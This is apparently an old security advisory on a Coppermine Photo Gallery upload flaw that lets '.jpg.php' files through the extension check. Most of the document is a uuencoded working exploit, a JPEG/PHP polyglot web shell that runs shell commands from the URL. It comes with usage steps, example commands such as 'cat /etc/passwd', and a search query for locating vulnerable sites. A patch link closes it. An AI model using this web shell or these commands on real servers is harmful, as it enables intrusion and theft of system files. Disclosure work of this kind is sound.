|
COMMAND Coppermine Photo Gallery remote command execution SYSTEMS AFFECTED Coppermine 1.0 RC3 - maybe prior versions PROBLEM Berend-Jan Wever [http://spoor12.edup.tudelft.nl] found following about Coppermine Photo Gallery, a PHP script to generate photo galleries: Coppermine allows the uploading of images onto a server by logged in users and in a lot of configurations even anonymous uploading. The upload script has a buggy extention checking routine which allows the uploading of ".jpg.php" files. These files need to be a valid jpg-files or Coppermine will delete them. It is trivial to create a file which is a valid jpg and also a valid PHP script. Once uploaded, the PHP script can then be executed, allowing access to the remote server under the priviledges of the user PHP is running under. Exploit ======= Attached is a working exploit, upload this onto a vulnerable server and execute it like this: /albums/userpics/Copperminer.jpg.php?[command] Where command can be something like "id;uname%20-a" or "cat%20/etc/passwd" Note 1: MSIE will display Copperminer.jpg.php as an image, but lynx will display the output of the command you gave it. Note 2: http://www.google.com/search?q=allinurl%3A+/upload.php?album= File ==== begin 644 sample.jpg.php M_]C_X``02D9)1@`!`@``9`!D``#_[``11'5C:WD``0`$````````_^X`(3PA M+2T@`&3``````0,`$`,"`P8```1````*?@``$['_VP"$`!L:&BD=*4$F)D%" M+R\O0D<_/CX_1T='1T='1T='1T='1T='1T='1T='1T='1T='1T='1T='1T=' M1T='1T='1T<!'2DI-"8T/R@H/T<_-3]'1T='1T='1T='1T='1T='1T='1T=' M1T='1T='1T='1T='1T='1T='1T='1T='1T='1__"`!$(`(8!B@,!(@`"$0$# M$0'_Q`"G```!!0$!`````````````````@,$!08!!P$!```````````````` M`````!```@,``0,#`P(&`P```````@,``00%$1(3(!05$#`&(31`4'`B(R0Q M,C,1``$#`0,("`,&!@,!`0````$`$0(A,1(#05%A<9'1(C(0((&AL<$3,_#A M0C!28I*R!%#Q<J(C%$#2XH)3$@$```````````````````!P_]H`#`,!``(1 M`Q$```#3`````#5>6IFH!M$8!HW,7&I-8SF0T2LV&MN?.;DV8A8"5`R]5$UO M$1C>,8H->QEPOXE6\:J[I[<B.,))O(+P\JN=)B8RQ_D7A-XU$+%Z)+``&*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9+2T^/$A434P^"CQ(14%$/CQ4251,13Y#;W!P97)M:6YE<B!B>2!3:WE, M:6YE9"`M('-P;V]R,3(N961U<"YT=61E;&9T+FYL/"]4251,13X\+TA%040^ M"CQ"3T19/CP_<&AP"B`@)&-O;6UA;F0@/2!R87=U<FQD96-O9&4H:7-S970H M)%%515)97U-44DE.1RD@/R`D455%4EE?4U1224Y'(#H@)%]315)615);)U%5 M15)97U-44DE.1R==*3L*("!E8VAO("(\2%(^/$@Q/B(N)&-O;6UA;F0N(CPO M2#$^/$A2/B(["B`@96-H;R`B/%!213XB+G-H96QL7V5X96,H("1C;VUM86YD >("DN(CPO4%)%/B(["C\^/"]"3T19/@H\+TA434P^ ` end SOLUTION Patch available on software web site: http://www.chezgreg.net/coppermine/